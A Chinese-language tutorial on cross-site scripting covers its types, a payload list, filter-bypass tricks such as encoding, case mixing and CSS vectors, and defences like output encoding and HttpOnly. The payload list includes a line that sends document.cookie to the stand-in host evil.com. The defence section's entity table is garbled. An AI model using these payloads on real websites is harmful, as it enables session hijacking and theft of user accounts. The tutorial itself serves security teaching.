XSS漏洞(跨站脚本攻击)
1.原理
跨站脚本是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。是由于Web应用程序对用户的输入过滤不足又将输入输出到页面中导致。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会收到影响。
2.分类
反射型
反射型XSS也被称为非持久型XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收到数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。
存储型
存储型XSS又被称为持久型XSS,存储型XSS是最危险的一种跨站脚本。当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击。
DOM型
DOM即文档对象模型,DOM通常用于代表在HTML、XHTM和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容。所以DOM型XSS是不需要服务器端交互的,它只是发生在客户端处理数据阶段。
3.检测语法
<script>alert(1);</script><script src="http://www.evil.com/cookie.php"></script><script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script><src<script>ipt>alert('xss');</scr</script>ipt><script>alert(String.fromCharCode(88,83,83))</script><img src=foo.png onerror=alert(/xss/) /><style>@im\port'\ja\vasc\ript:alert(\"XSS"\);</style><marquee><script>alert('xss')</script></marquee><IMG SRC=\"jaV	;ascript:alert('XSS');\">"><script>alert(0)</script>" onfocus=alert(document.domain)"><"<body onLoad="while(true) alert('XSS'); ">"></iframe><script>alert(111)</script><div style="background:url('javascript:alert(1)')"><img src='javascript:alert("xss")'>
4.绕过
利用<>标记注射html/javascript
如果网站没有对<>进行过滤,那么用户可执行的恶意脚本可就太多了
<script>alert(111)</script>
利用Html标签属性值执行XSS
很多HTML标记中的属性都支持
javascript:[code]
伪协议的形式,这个语法声明了URL的主题是任意的javascript代码。空格回车Tab
如果只对关键字进行过滤,那么用户还可以利用空格、回车、Tab进行绕过
<img src="java script:alert(/xss/)" width=100>
对标签属性值进行转码
还可以通过编码处理来绕过,HTML中的属性值本身支持ASCII码形式
<img src="javascript:alert('xss');">
编码后<img src="javascrip$#116:alert(/xss/);">
产生自己的事件
如果不能依靠属性值进行跨站,那么可以利用事件,比如click、mouseover、load等,而响应事件的函数就叫做事件处理函数
<input type="button" value="click me" onclick="alert('click me')" />
利用CSS跨站
XSS脚本的另一个载体是CSS样式表,使用CSS样式表执行javascript具有隐蔽性、灵活多变
<div style="background-image:url(javascript:alert('xss'))"> <style>body {background-image:url("javascript:alert('xss')");} </style>
扰乱过滤规则
<img src="javascript:alert(0);"># 转换大小写 <IMG SRC="javascript:alert(0);"># 大小写混写 <iMg sRC="jaVasCript:alert(0);"># 单引号替换双引号 <img src='javascript:alert(0);'># 不使用引号 <img src=javascript:alert(0);>
5.防御
# 输入过滤
输入过滤的所有数据都必须经过XSS Filter处理,被确认安全后才存入数据库中。
输入验证:对用户提交的信息进行有效验证,仅接收指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的任何数据。
数据消毒:对与常见的敏感字符,还需要进行过滤,如< > ' " & # javascript expression # 输出编码
在数据输出之前先对敏感字符进行转义,这是一个安全的方法,能够有效保持数据完整性。
HTML编码在防止XSS攻击上起到了很大的作用。# HttpOnly
无法通过js脚本读取到cookie信息
显示 | 实体名字 | 实体编码 |
---|---|---|
< | < ; | < ; |
> | > ; | > ; |
& | & ; | & ; |
" | " ; | " ; |
XSS漏洞(跨站脚本攻击)相关推荐
- 反射型xss(跨站脚本攻击)
反射型xss(跨站脚本攻击) 通常人们会把跨站脚本攻击(Cross Site Scripting)缩写为CSS),但是这与浏览器的层叠样式表css会混淆,所以人们把跨站脚本攻击缩写为xss. xss原 ...
- XSS漏洞自动化攻击工具XSSer
XSS漏洞自动化攻击工具XSSer XSS是Web应用常见的漏洞.利用该漏洞,安全人员在网站注入恶意脚本,控制用户浏览器,并发起其他渗透操作.XSSer是Kali Linux提供的一款自动化XSS攻击 ...
- beef利用xss漏洞实现攻击
目录 1.攻击手段 2.常见用途 2.参数说明 2.1 演示页面 2.2 Details 2.3 Logs 2.4 commands 总结: 1.攻击手段 利用网站 xss 漏洞实现攻击 诱使客户端 ...
- 渗透测试之XSS(跨站脚本攻击)
文章目录 XSS 漏洞概述 XSS 分类 XSS 危害 XSS 漏洞的验证 XSS 的构造 XSS 的变形(绕过方式) Shellcode 的调用 远程调用JS windows.location.ha ...
- DVWA学习之XSS(跨站脚本攻击)(超级详细)
DVWA学习之XSS XSS 跨站脚本攻击 0x01 XSS(Cross Site Script)简介 0x02 何为XSS 0x03 XSS存在的原因 0x04 XSS漏洞的危害 0x05 XSS ...
- 关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- 【转载】关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- Web安全 学习日记7 - XSS(跨站脚本攻击)
文章目录 何为XSS XSS存在原因 XSS危害 XSS分类 1.反射型XSS 2.存储型XSS 3.DOM型XSS XSS的简单绕过WAF DVWA 反射型XSS 1.Low 2.Medium 3. ...
- DVWA靶场系列(六)—— XSS(跨站脚本攻击)
#免责声明: 本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关. 漏洞原理 XSS又叫CSS(Cross Site Script),跨站脚本攻击.它指的是恶意攻击者往Web ...
最新文章
- mysql中pi是什么意思,MySql delimiter的作用是什么
- 【每日训练】2020/11/9(Splay ?rope大法好!、数论、构造补图)
- RCC—使用 HSE/HIS 配置时钟
- 【Python】Python常用数据类型的基本操作(长文系列第①篇)
- python head 函数_python爬虫中header是什么?怎么用?
- 手机百度首页的localStorage的使用实例
- msf如何升级_Kali linux 2016.2(Rolling)中的Metasploit如何更新与目录结构初步认识...
- 透析《长安十二时辰》里的望楼,人类在唐朝就有 5G 愿望了?
- 原生js滚动到底部加载数据和下拉刷新 Scrollload
- TCP 拥塞控制算法
- 详解:Drools规则引擎探究以及在IOT的应用
- windows切屏快捷键
- Failed opening .rdb for saving: Permission denied
- typora 快捷键使用(mac)
- jQuery实现的浮动广告
- 宁芝蓝牙X87 说明书
- 圖譜謎宮(2019年6月28日於鄂爾多斯)
- 汽车常识全面介绍 - 引擎详论
- 安卓平板装MySQL_准备购入一部平板作为学习用具,有推荐的吗?
- hdu 3067 小t的游戏
热门文章
- 魔法少女小莹莹——SDUT
- 微信JS接口 分享到朋友圈 分享给朋友 分享到QQ 拍照或从手机相册中选图 识别音频并返回识别结果 使用微信内置地图查看位置
- 设计模式(3)行为型模式
- 它不会火:为什么Flutter不是下一个流量?
- python成语接龙到为所欲为_成语接龙,如何在“为所欲为、人无完人、数不胜数、精益求精、痛定思痛……”之间以最短路径循环与自循环?...
- Windows10如何进入高级启动修复系统故障
- 让VirtualBox中的系统全屏显示
- 一篇科学的排队指南(简单线性回归和时间序列模型的应用)
- python 随机padding_PyTorch中的padding(边缘填充)操作方式
- 如何构建一个图书推荐系统